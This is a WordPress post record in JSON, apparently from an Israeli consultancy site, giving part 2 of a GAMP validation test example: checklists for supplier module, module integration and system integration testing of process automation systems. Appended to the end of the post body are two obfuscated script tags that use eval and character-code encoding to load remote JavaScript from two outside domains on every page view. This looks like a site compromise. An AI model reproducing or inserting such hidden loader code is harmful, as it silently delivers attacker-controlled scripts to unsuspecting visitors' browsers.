{"id":35600,"date":"2015-06-03T13:27:30","date_gmt":"2015-06-03T10:27:30","guid":{"rendered":"https:\/\/smartlogic.co.il\/?p=35600"},"modified":"2015-06-03T13:27:30","modified_gmt":"2015-06-03T10:27:30","slug":"%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-gamp-test-example-part-2","status":"publish","type":"post","link":"https:\/\/smartlogic.co.il\/staging_new\/%d7%95%d7%9c%d7%99%d7%93%d7%a6%d7%99%d7%94-gamp-test-example-part-2\/","title":{"rendered":"\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; GAMP &#8211; Test Example &#8211; part 2"},"content":{"rendered":"<h2 style=\"text-align: left\">Good Automated Manufacturing Practice (GAMP) &#8211; Test Example<\/h2>\n<h2 style=\"text-align: left\">Testing Process Automation Systems<\/h2>\n<p style=\"text-align: left\">This article cover \u00a0the second\u00a0part of \u00a0our \u00a0Good Automated Manufacturing Practice (GAMP)\u00a0test example. This part will cover \u00a0the typical test phases for supplier's\u00a0application <a title=\"SW\" href=\"http:\/\/www.smartlogic.co.il\/%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-gamp-hardware-software-test-environments%D7%95%D7%9C%D7%99%D7%93%D7%A6%D7%99%D7%94-gamp-hardware-software-test-environments\/\">SW<\/a> Module Testing, supplier's Module Integration Testing\u00a0and the\u00a0supplier's Integration Testing &#8211;\u00a0cont'd<\/p>\n<h2 style=\"text-align: left\">\u00a0\u00a0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0Typical Test Phases<\/h2>\n<p style=\"text-align: left\">\u00a0Typical test phases for a complex process automation system. This example assumes that the system is configured by a Supplier and delivered to site after a FAT. Test system can also be configured by the system integrator or by the User. In this case, the same coverage is required, but the test phasing and location may be different.<\/p>\n<p style=\"text-align: left\">The User and Supplier should work together to develop an overall approach to testing that reflects the risk assessment output and ensures adequate test coverage of the functionality, whilst avoiding unnecessary repeated tests.<\/p>\n<p style=\"text-align: left\">: <strong>Typical Test Phases for Process Automation S<\/strong><b>ystems<\/b><\/p>\n<p style=\"text-align: left\">\u00a0<strong>Supplier's Application SW Module Testing<\/strong> <strong>&#8211;<\/strong><\/p>\n<p style=\"text-align: left\">Done\u00a0at the Supplier's premises\u00a0after the module has been placed under configuration control and code reviewed. Before system integration.\u00a0Module testing generally covers: Module data handling<\/p>\n<p style=\"text-align: left\">\u00a0Interfaces to other modules<\/p>\n<p style=\"text-align: left\">\u00a0Operator interfaces<\/p>\n<p style=\"text-align: left\">\u00a0Module functionality Failure paths and response to fault conditions should be included within the tests<\/p>\n<p style=\"text-align: left\"><strong>Supplier's Module Integration Testing<\/strong> <strong>&#8211;<\/strong><\/p>\n<p style=\"text-align: left\">Done\u00a0at\u00a0the Supplier's premises.After individual module have been tested and integrated into a single unit.Before full system integration<\/p>\n<p style=\"text-align: left\">Module integration testing generally covers: Correct operation of Interfaces between modules<\/p>\n<p style=\"text-align: left\">Failure paths and response to fault conditions should be included within the tests<\/p>\n<p style=\"text-align: left\"><strong>Supplier's Integration Testing &#8211;<\/strong><\/p>\n<p style=\"text-align: left\">Done\u00a0at\u00a0the Supplier's premises.After module testing, and before the User is invited to witness the FAT<\/p>\n<p style=\"text-align: left\">Integration testing generally covers:<\/p>\n<p style=\"text-align: left\">\u00a0HW<\/p>\n<p style=\"text-align: left\">I\/O interfaces<\/p>\n<p style=\"text-align: left\">Operator interfaces<\/p>\n<p style=\"text-align: left\">Interfaces to other equipment<\/p>\n<p style=\"text-align: left\">System functionality<\/p>\n<p style=\"text-align: left\">Data handling functions<\/p>\n<p style=\"text-align: left\">Failure paths and response to fault conditions should be included within the tests<\/p>\n<p style=\"text-align: left\">:HW tests typically include<\/p>\n<p style=\"text-align: left\">\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0 Checking system build against approved HW specifications and drawings<\/p>\n<p style=\"text-align: left\">\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0 Recording system components, version numbers (including SW versions) and capacities<\/p>\n<p style=\"text-align: left\">\u00b7\u00a0\u00a0\u00a0\u00a0\u00a0 Checking electrical supplies and grounding<\/p>\n<p style=\"text-align: left\"><strong>Supplier's Integration Testing (cont'd) &#8211;<\/strong><\/p>\n<p style=\"text-align: left\">Checking correct power up of system components<\/p>\n<p style=\"text-align: left\">Checking any self test\/diagnostic information<\/p>\n<p style=\"text-align: left\">Checking correct communication on standard interfaces<\/p>\n<p style=\"text-align: left\">:<strong>I\/O interface tests typically include<\/strong><\/p>\n<p style=\"text-align: left\">Exercising inputs and outputs to check correct configuration of ranges, alarms, etc.<\/p>\n<p style=\"text-align: left\">:<strong>Operator interface tests typically include<\/strong><\/p>\n<p style=\"text-align: left\">System displays and navigation<\/p>\n<p style=\"text-align: left\">Security and access controls<\/p>\n<p style=\"text-align: left\"><strong>:Tests for interfaces to other equipment typically include<\/strong><\/p>\n<p style=\"text-align: left\">Checks of communications protocol setup<\/p>\n<p style=\"text-align: left\">Checks that the required data can be transferred<\/p>\n<p style=\"text-align: left\">Checks of actions in case of communications failure<\/p>\n<p style=\"text-align: left\">Tests for system functionality typically include:<\/p>\n<p style=\"text-align: left\">Monitoring functions<\/p>\n<p style=\"text-align: left\">Alarm strategies<\/p>\n<p style=\"text-align: left\">Control functions)control modules, equipment modules, procedural control(<\/p>\n<p style=\"text-align: left\">Power failure and recovery<\/p>\n<p style=\"text-align: left\">Component failure and redundancy<\/p>\n<p style=\"text-align: left\">Performance checks<\/p>\n<p style=\"text-align: left\"><strong>:Tests for system data handling typically include<\/strong><\/p>\n<p style=\"text-align: left\">Operator data entry<\/p>\n<p style=\"text-align: left\">Data formatting and quality checks<\/p>\n<p style=\"text-align: left\">Checks of calculated values<\/p>\n<p style=\"text-align: left\">Checks of recipes<\/p>\n<p style=\"text-align: left\">Checks of access to current process data, alarms and events )displays, alarm summaries, etc.(<\/p>\n<p style=\"text-align: left\">Checks of access to historical process data, alarms and events )trends, reports, alarm histories, etc.(<\/p>\n<p style=\"text-align: left\">Checks of audit trail functionality<\/p>\n<p style=\"text-align: left\">Checks of data capacity and retention times<\/p>\n<p style=\"text-align: left\">Checks of archive and restore<\/p>\n<p style=\"text-align: left\">Checks of provisions for electronic signatures<\/p>\n<p style=\"text-align: left\">Checks of disaster recovery procedures<\/p>\n<h2 style=\"text-align: left\">End of \u00a0\u05d5\u05dc\u05d9\u05d3\u05e6\u05d9\u05d4 &#8211; GAMP &#8211; Test Example &#8211; part 2<\/h2>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This article cover  the second part of  our  Good Automated Manufacturing Practice (GAMP) test example. This part will cover  the typical test phases for supplier's application SW Module Testing, supplier's Module Integration Testing and the supplier's Integration Testing (cont'd) .<\/p>\n","protected":false},"author":2,"featured_media":35605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[179,184,298,393,411,488,502,504,520,533,539],"class_list":["post-35600","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-17","tag-gamp","tag-good-automated-manufacturing-practice","tag-process-automation-systems","tag-test-example","tag-testing-process-automation-systems","tag-488","tag-502","tag-504","tag-520","tag-533","tag-539"],"_links":{"self":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35600","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/comments?post=35600"}],"version-history":[{"count":0,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/posts\/35600\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/"}],"wp:attachment":[{"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/media?parent=35600"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/categories?post=35600"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/smartlogic.co.il\/staging_new\/wp-json\/wp\/v2\/tags?post=35600"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}